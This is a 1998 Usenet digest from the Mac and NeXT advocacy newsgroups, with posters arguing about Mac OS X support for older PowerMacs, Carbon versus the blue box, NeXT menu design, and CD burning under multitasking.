Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 17:49:49 -0500
Organization: Prairie Group
Message-ID: <MPG.102c0606e684fb88989a5f@news.supernews.com>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net> <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> Everything about Mac OS X _except_ for the kernel and IOKit drivers is
> abstracted from the hardware _through_ the kernel. The kernel interface
> for these higher level parts of Mac OS X is the _same_ whether it is
> running on a PowerMac 9500/120 or a PowerMac G4 766. These portions of the
> OS _DO_NOT_CARE_ what the underlying hardware is. _THEY_DO_NOT_KNOW_ what
> the underlying hardware is. There is no extra work to get Mac OS X
> running on these machines except for the kernel and drivers. The other
> parts of the OS you mention are being done _anyway_! They do *NOT* have to
> be rewritten to run on pre-G3 PowerMacs.
>
My understanding was that the core OS parts were all abstracted, but that
not all of Carbon would be.
Are you sure about this?
Donald
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 15:57:47 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E79A01-223C5@206.165.43.145>
References: <MPG.102b903b3a3ef5c5989a5e@news.supernews.com>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.advocacy
Donald Brown <don.brown@cesoft.com> said:
>My understanding was that Copland was supposed to give old apps the
>benefit of the new system. There wouldn't be a blue box or equivalent,
>somehow Copland was supposed to provide PM and PMT into the MacOS API
>as
>it existed.
Actually, no. All older apps and all new apps with a human interface would
run in the same process on Copland. Faceless apps and secondary processes
launched by new apps would run, each in their own fully PMT & MP process.
Only one human-interface app could be active at a time, just like in System
7.x, but faceless apps/spawned processes would be fully pre-emptive with
each other and with the active HI app.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 23:05:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ptikb$sv7$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6pt1jt$3gb$1@nnrp1.dejanews.com> <joe.ragosta-3107981521390001@wil53.dol.net>
In article <joe.ragosta-3107981521390001@wil53.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Not in the same way. You can't drag the System Folder to the trash in Mac
> OS, but you can delete the Windows folder in Windows.
I can't drag the System Folder to the trash? Doesn't the Mac OS installer
sometimes generate a message like "The installed System version cannot be
updated. Please drag your System Folder to the trash and try again?" I'll try
dragging the System Folder to the trash when I get home.
> Also true of Windows 95 or NT. Just ask the Navy.
I said that NT and Windows 95 have a good chance of protecting you from an
application crash. Not that they make it impossible. The Mac OS, OTOH, cannot
even protected you from simple memory overwrites.
> > crash. In the Mac OS and Windows 95, the user can wipe out the entire OS by
> > doing something stupid. Therefore, in those two dimensions, Windows 95 is
> > better in one and equal in another.
>
> Wrong. Until you can show that either of these events is more likely in
> Mac OS, you don't have a case.
I don't think that many people would argue that the Mac OS is more crash prone
than Windows NT. Some might argue that Windows 95 is as crash prone as the Mac
OS but that has not been my experience. And when doing development work, the
Mac OS is definitately more prone to crashing than Windows 95.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 31 Jul 1998 22:55:56 GMT
Organization: Cygnus Solutions
Message-ID: <6pti1s$4pj$4@cronkite.cygnus.com>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com>
<35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net>
<Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news>
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<35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news>
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Cc: andyba@corp.webtv.net
In <andyba-ya02408000R3107981506300001@news> Andy Bates wrote:
> In article <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > There is an obvious indicator as to what will bring up a submenu. That's
> > the little arrow pointing off to the right inside the button. I'm not
sure
> > what your problem is.
>
> The problem is that you have to check out which ones are buttons and which
> ones are menus before clicking. On the Mac, you can click on any menu and
> proceed to traverse the menu system. With NeXT, you have to check first.
>
> Andy Bates.
>
Just what are you smoking?
Your example of what Mac menu can do does not at all sound like anything a
NeXT menu cannot do. Could you please be more specific?
For example, I can tell by looking at a NeXT menu which items are submenus
(they have a beveled > arrow at the right edge of the selector, simiar to the
black > arrow on a Mac). I don't have to "check" anything in any way that is
not similar to how you have to do the same thing on a Mac.
Is the "submenus are indicated by > arrows" what you're talking about? or
are you talking about something completely different?
You can click on it and proceed to traverse the menu, you can drag on it and
proceed to traverse the menu, or whatever. In this respect, I can't think of
ANY aspect of the Mac menu that isn't present in the NeXT menu.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 31 Jul 1998 23:18:54 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ptjcu$g13$1@news.spacelab.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <35B984CF.936A1763@nstar.net> <Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net> <6pcrg9$n3d$1@bunyip.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
[ ... ]
>>>> How do you undo a file renaming in the Finder?
>>>
>>> Ctrl-Z.
>>
>>Close but no cigar. Try two keys over.
>
>Huh ? I thought Ctrl-Z was undo in MacOS, like it is in Windows ?
Hint: the control key on a Windows box is misused by being intercepted by the
window-system for accelerator key functionality.
The MacOS uses the Apple key (with the flower) as the window-system
accelerator hotkey, which is two keys to the right of the Control key on an
Apple keyboard.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 17:19:48 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-3107981719480001@pm3a4.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu. <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com>
NNTP-Posting-Date: 31 Jul 1998 23:17:37 GMT
In article <6pqa9r$s09$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
> <6pq2n2$q44@newsb.netnews.att.com>...
> >My personal experience is that it is exactly the same as Windows 95,
> >you have to stop everything on Windows 95 so you can (nearly)
> >guarantee not getting coasters.
>
> Are you trying to use a high-speed burner, or have a poor interface to the
> burner? I burn at 2x on a P-90 over SCSI, while in the background a cpu
> intensive app is always running, and never get coasters.
I've got a 2X recorder running under Windows NT 4.0 on a P133 with 64MB
RAM. This is attached to an Adaptec 2940 SCSI interface card. Would you
like me to send you some coasters that I made while multitasking?
Josh
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 18:29:33 -0500
Organization: Prairie Group
Message-ID: <MPG.102c0f534d81c682989a65@news.supernews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com> <Pine.SOL.3.96.980731090758.6876C-100000@ux7.cso.uiuc.edu>
<sigh> I'm not going to get out of this thread, am I?
In article <Pine.SOL.3.96.980731090758.6876C-100000@ux7.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> On Thu, 30 Jul 1998, Donald Brown wrote:
>
> > In article <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>,
> > tokarek@uiuc.edu says...
> > > > There _is_ a reason. It's been explained over and over. The cost of
> > > > putting Mac OS X onto older hardware and supporting it is too high for
> > > > Apple in its current condition to support.
> > >
> > > The monetary costs should not be a reason for several reasons that I've
> > > stated before. I don't see that as a valid excuse.
> > >
> > > Possibly the time cost would be significant, but even that I tend to
> > > doubt for reasons that I've stated several times before.
> > >
> > Then it may be time to close this discussion out. Joe and I are saying
> > "yes the costs are there", you and others are saying "no there are no
> > costs".
>
> You are boiling down the arguements to irrelevancy. At that level, that is
> absolutely _NOT_ what I and others are saying! You are misconstruing our
> position. We agree with you at that level.
>
> We are saying that there _are_additional_ costs to supporting older
> machines, _BUT_ that these costs should not be a cause to drop support for
> these machines _for_several_reasons_.
I did overspeak. The counter position is that "the costs are minimal and
we know they will be minimal and so Apple should make promises based on
the fact that those costs will be minimal."
> I will state these reasons. Please point out the specific ones you
> disagree with.
>
> Some of these reasons are:
>
> The return from supporting these machines will more than make up for the
> cost of writing support for these machines and even continuing technical
> support for these machines (especially when you consider that technical
> support is not free anymore).
Depends. We've had, if I count right, 14 people on csma screaming about
being ripped off. I'm making an assumption that the required memory and
the disk space necessary will be much greater. If that is so, I'm not
sure how many extra copies will be sold. The figure I saw thrown about
of 1 million sales (which was then multiplied out and used as a total)
seems very overstated to me.
If the 14 people complaining here are the ones that buy, OS X would be a
money loser. If the number of one million buy, OS X would be a money
maker. I don't know where the break even point is, and I don't know how
confident Apple is that they would sell that many.
> The costs involved exist, but are not very significant given Apple's
> financial situation. If you think it would cost 10 million
> additional dollars per quarter to support these machines or even as much
> as 10 million additional dollars total, then you are delusional.
Ten million dollars addition will probably be too big. Of course, Apple
will be increasing expenses anyway as they build this, and I think we're
going to see some just over break-even quarters next year. Could this
move it over the top? Depending on how big it is, yes it could. Would
that be a bad thing? Oh, boy, would it ever.
> Apple would not end up alienating an even larger portion of the customer
> base at a time when it needs all the loyalty it can get.
Avoiding alienating them would be a good thing. Blowing the ship date
would be a bad thing. I'm not the guy whose job depends on making those
decisions properly, I can see the reasons why he makes the decision he
does, so I'm not going to second-guess him.
> Apple presents the hardware platform as having backwards compatability for
> a significant amount of time making the OS+Hardware platform more viable
> in the eyes of people outside the platform who are at all considering it.
It also represents the hardware platform that lost a billion dollars last
year and has had a shifting OS strategy. Sticking to a strategy and
delivering it successfully with a kick-ass OS will make the platform most
viable. Failing to deliver or delivering a product that supposedly runs
on lots of machines but crashes regularly on the machines promised will
make the platform very unviable.
> > I don't think either of us are going to convince the other.
>
> Definitely not if your perception of our position remains as it is.
Or vice versa.
Donald
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 31 Jul 1998 23:25:11 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ptjon$g13$2@news.spacelab.net>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news> <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R3107981506300001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu>,
>Pulsar <tokarek@uiuc.edu> wrote:
>> There is an obvious indicator as to what will bring up a submenu. That's
>> the little arrow pointing off to the right inside the button. I'm not sure
>> what your problem is.
>
>The problem is that you have to check out which ones are buttons and which
>ones are menus before clicking. On the Mac, you can click on any menu and
>proceed to traverse the menu system. With NeXT, you have to check first.
No, you don't. Try it out yourself.
You can mouse down anywhere, even in a NEXTSTEP top-level menu cell
("button"), and continue to hold the mouse button down and drag to traverse
the rest of the menu hierarchy without activating the button you clicked in
originally.
NEXTSTEP menu buttons get activated by the mouse-up event, not the
mouse-down.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 31 Jul 1998 11:19:32 GMT
Organization: P & L Systems
Message-ID: <6ps984$b19$1@ironhorse.plsys.co.uk>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk>
<6on4ur$742$1@ash.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ZiyaOz@earthlink.net
In <6on4ur$742$1@ash.prod.itd.earthlink.net> "Ziya Oz" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> >For what it's worth, I assure you Scott's sources are more higher level
than
> >the intern toilet washer. You're probably unaware of how close a
community
> >the NeXT group was; many of our ex-NeXT net.friends in Apple have
positions
> >of seniority.
>
> Crap.
>
Hmm, this from Ziya "WebObjects is being spun off, honest guv" Oz?
> So there was a disconnect with you and those in positions of seniority at
Apple
> around the time of WWDC, huh?
>
Yes -- there are some things that won't be told no matter how close a friend
one is.
Your point?
mmalc.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 18:38:17 -0500
Organization: Prairie Group
Message-ID: <MPG.102c1162aed4a1bb989a66@news.supernews.com>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl> <Pine.SOL.3.96.980731093014.6876E-100000@ux7.cso.uiuc.edu> <6psn1h$2q2$1@larry.admin.phil.uu.nl>
In article <6psn1h$2q2$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl
says...
> Ryan:
>
> >Carbon is an _entirely_ different entity and is not related to the
> >Blue Box.
> >
> >OS X stands a _much_ higher chance of working than Copland _ever_ did.
>
> Hm. Now I'm confused :-)
>
> So will the old non-Carbon apps run under OS X, or won't they?
>
> If they _won't_ then I agree with you, but then I think I
> misunderstood Apple's promises (yeah, right.)
>
> If they will, how is it going to work? Will there be a
> _separate_ blue box, like in [giggle] OS X Server (I don't
> think so, from what I gathered from Apple)? Or will the old
> apps run inside the Carbon environment without the protective
> shell of an "old style" environment (but _how?)_
Old non-Carbon apps will run on OS X in a blue-box. In Rhapsody, there
was one blue box that ran all of the MacOS apps. In OS X, they are
hoping to provide each app with its own blue box (so if one goes crazy,
it won't take down all classic apps).
Even in it's own blue box, non-Carbon apps still won't get the full
benefits of PM and PMT and the other features of OS X and Carbon.
With minimal changes, you can turn a non-Carbon app into a Carbon app
with full support of PM, PMT, threading, etc. So, there is a great
advantage to running Carbon apps instead of non-Carbon.
Copland, however, was going to MAKE the MacOS API have all this wonderful
stuff and so your old program from 1990 off the shelf would be a full
wonderful client of Copland without any recoding at all.
That just wasn't possible. The API wouldn't support it. This is where
the "thinking different" comes in...if we can't win, let's change the
rules. The normal thinking was "Old API" or "Whole New API". This
approach can work.
Donald
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 16:50:13 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7A648-5062B@206.165.43.145>
References: <35c1d9b6.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>> If I were a developer, sure. However, I doubt if that would be the case.
If
>> Rhapsody 1.0 is only going to work with a limited subset of PCI hardware
>> than Apple is REALLY screwed since the promised, over and over again,
>that
>> it would be working with ALL PCI hardware.
>
>No Lawson, they promised it would run on all PCI Macs. They never
>promised anything about PCI peripherals.
Snicker. Then why would anyone have bought a PCI Mac if they had an inkling
that the new OS wouldn't work with the PCI peripherals?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 16:52:20 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7A6C7-52414@206.165.43.145>
References: <FIiROLCWddLd-pn2-n21cbhjvZcL6@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.advocacy
taiQ <pit@iohk.SPAM-NOT.com> said:
>Where can one find the list of these supported systems?
Systems shipping as of Jan 1, 1997.
That's the list.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Eddy Young <young@intnet.mu>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody on Intel
Date: Sat, 01 Aug 1998 01:04:44 +0400
Organization: Young Consulting Ltd.
Message-ID: <35C2316C.44D137A2@intnet.mu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi,
Does Apple plan to release MacOs X (Rhapsody) on Intel platforms?
Eddy
From: Alan Schmitt <Alan.Schmitt@crm.mot.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 31 Jul 1998 13:36:14 +0200
Organization: Centre de Recherche de Motorola - Paris
Message-ID: <35C1AC2E.3F6A88D4@crm.mot.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be> <6old6f$ogr$2@lwnws01.ne.highway1.com> <35ae441d.20709989@news.euronet.be>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Little Piggy wrote:
> Sorry but MS did not start against IBM, they became big
> _with_the_help_ IBM. In fact, probably the only reason MS is in such a
> dominant position is _because_ of IBM!
Maybe, but the reason why there is so much m$ out there is because of
JLG, in a way, when he refused to license the mac.
Alan
--
Alan Schmitt
---
don't dream it, Be it.
Date: Fri, 31 Jul 1998 20:05:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3107982005300001@elk71.dol.net>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108> <6pshr0$2r2$1@bartlet.df.lth.se> <35C22822.C641FEEB@earthlink.net>
In article <35C22822.C641FEEB@earthlink.net>, jontemple@earthlink.net wrote:
> I am not so certain. Does Be use a Mach kernel (I really don't know)? My
> understanding was Be isn't really Unix like OpenStep/BSD 4.4 (thus OS X) and
> Linux, which is a UNIX clone.
It doesn't matter. If the LinuxPPC people could figure out the
architecture without help from Apple, Be should be able to.
>
> Also, I am not certain why Be cares anymore. I don't blame Be for jumping ship
> from PowerPC to Intel (as I believe they ultimately will drop PPC
> altogether). Without clones, the market for Be has shifted radically. They
> have much less incentive to make BeOS available on new Apple hardware, given
> its 4.1% marketshare; they can't hope but steal but a tiny percentage of that
> from Apple.
Well, the switch to Intel will just make Be's failure that much quicker.
If they can't compete with Apple, how do you expect them to compete with
Microsoft?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 00:10:06 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ptmcu$j2o$1@lwnws01.ne.highway1.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981504030001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6pt3sq$5sv$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
wrote:
>
> > Michael Peck <eusmpec@exu.ericsson.se> wrote:
> > > I don't think that this is the point. Maybe I'm the only one, but I
> > > think that using the menu mechanism as an accelerator is a mistake for
> > > the very reason that there are better, other, separate mechanisms
> > > designed for that.
> >
> > Although I see your point, I disagree.
>
> So we agree that Hide should be on the top level, right? Okay. What about
> Quit? It may be hard for users to find. Let's put it there. What about
> Print Preview? Someone mentioned that some people use it a lot; put it up
They mentioned it for a particular group. And you either failed to read, or
didn't include for whatever reason my notion of a custom menu palette. That
would be customizable for people's more niche uses. As it stands, I
personally believe that all groups can benefit from print, hide, & quit being
on the top level of the main menu as apposed to having a custom menu that
might support things like print preview and other things you note below.
> there. Oh, and I use Plain Text a lot in my word-processing program, along
> with Bold, so let's put them both up there. What about Find and Replace?
> Yep, let's put those on there too.
>
> The point is that what a user needs to access quickly varies from user to
> user. Putting shortcuts for one command on the top level takes up more
Yea, and that's why I proposed what I did, and I haven't a clue why you're
building up this straw man huff. Regardless, I've seen no argument from you
why the general public does not benefit from having hide, print, and quit up
on top. Why, because you don't have anything but drivel.
> room, and only benefits those users that need quick access to that command.
> So it's all or nothing: either have a menu system with no top-level
> commands (like now), or put them ALL in the top level (although a
> customizable toolbar would work just as well for this). But either way,
> putting just one or two buttons at the top level of the menu is pointless
> and narrowminded.
I think your last statement applies more to you, than menu arrangement.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Fri, 31 Jul 1998 20:10:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3107982010000001@elk71.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au> <joe.ragosta-3107981050490001@wil31.dol.net> <6ptau6$fcf$2@news.spacelab.net>
In article <6ptau6$fcf$2@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >In article <6prd57$h22$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> [ ... ]
> >>>I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time if
> >>>I have anything else going on. Mine's IDE, so that may be part of it, as
> >>>well.
> >>
> >> 6X over IDE could get a bit hairy - what type of drive & m/b have you got
> >> again ?
> >
> >Abit TX5
> >Traxdata CD-R/RW 2x2x6
> >It's clocked at 66x2.5. I've never been able to go any higher than that,
> >even with a massive, expensive heat sink.
>
> There _is_ a reason why many CD-burners come bundled with a SCSI card.
> (E)IDE sucks trying to multithread or deal with parallel (multiple devices)
> I/O.
Actually, it's UDMA. Isn't that supposed to be better?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 20:10:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3107982010580001@elk71.dol.net>
